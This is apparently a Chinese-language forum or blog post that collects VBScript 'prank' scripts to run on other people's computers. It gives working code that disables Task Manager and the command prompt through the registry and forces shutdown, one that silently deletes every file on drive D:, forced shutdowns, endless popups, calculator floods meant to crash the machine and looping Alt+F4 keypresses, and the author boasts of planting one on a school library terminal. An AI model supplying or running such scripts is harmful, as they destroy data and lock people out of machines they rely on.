vbe編程真人小代碼

挺好玩的整人的

set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系統將在"& 60-i &"秒後關機...",1,"系統提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next

複製以上代碼，在桌面建一個文本，把代碼放進去，另存爲VBE格式，
此代碼的威力：
1：開機就強制自動關機
2：cmd命令打不開
3：結束任務不管用
4：F8安全模式也不管用
呵呵！聽起來是不是有點恐怖啊，我在我朋友空間裏看見也嚇了一跳、

代碼破解方法：就是再運行一次，就可以破解了，也就是第2次保存的那個VBE文件，，

PS：不要亂拿軟件去整人，發生什麼事可不要怪我啊。。

第2種
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說你是傻B，我是天下第一大傻B不說寶寶，我是天下第一大傻B就一分鐘關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "寶寶，我是天下第一大傻B")
a = inputbox ("寶寶，我是天下第一大傻B,就不關機，快撒，說 ""寶寶，我是天下第一大傻B""　","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛，乖乖"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "寶寶是不是又帥啦？？"

這代碼是我從朋友那拿來的，大家可以試着玩下、你能做非法事情哦、

二、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈

------------------------------------------------------------------------------

do
    msgbox "You are foolish!"
loop

------------------------------------------------------------------------------

三、打開無數個計算器，直到死機
------------------------------------------------------------------------------

set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------

四、直接關機
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、刪除D:\所有文件
---------------------------------------------------------------------------

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不斷彈出窗口
----------------------------------------------------------------------------

while(1)
msgbox "哈哈 你被耍了！"
loop
----------------------------------------------------------------------------
七、不斷按下alt+f4 （開什麼都關閉……）
---------------------------------------------------------------------------

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop

---------------------------------------------------------------------------

八、按500次回車

(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改)

-----------------------------------------------------------------------------

dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop
'------------------------ ------------------------------------------------------------

九、關不掉的窗口
------------------------------------------------------------------------------------

WScript.Echo("嘿，謝謝你打開我哦，我等你很久

拉！"&TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎麼纔來，說~是不是不關心我")
WScript.Echo("哼,我生氣拉，等你這麼久，心都涼啦。")
WScript.Echo("小強很生氣，後果很嚴重哦。")
WScript.Echo("嘿嘿！你也會很慘滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")
WScript.Echo("還剩49下，快點點哦")
WScript.Echo("還剩48下，快點，小笨蛋！")
WScript.Echo("還剩47下對，就這樣快點點！")
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾

你工作。")
WScript.Echo("還剩45下，記得要快哦！")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停！！！慢點，我有話要說")
WScript.Echo("還剩12下，你繼續點我就會消失滴")
WScript.Echo("還剩11下，以後就看不到我拉。555555")
WScript.Echo("還剩10下，你現在可以選擇停止！")
WScript.Echo("還剩9下。你還點啊，不要我拉？")
WScript.Echo("還剩8下，有點傷心拉，幹嘛丟棄人家")
WScript.Echo("還剩7下。瘋了，你有點負意！")
WScript.Echo("還剩6下。對。你就點吧，我恨你！")
WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")
WScript.Echo("還剩4下！真要刪除我？")
WScript.Echo("還剩3下。可是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這麼絕情嘛，人家是愛你

的！")
WScript.Echo("還剩1下。哼，既然你這麼絕情。也別怪我無

義！！！")
WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝

又給了一次機會。")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")

 

懂VBE的可以試試，很好玩的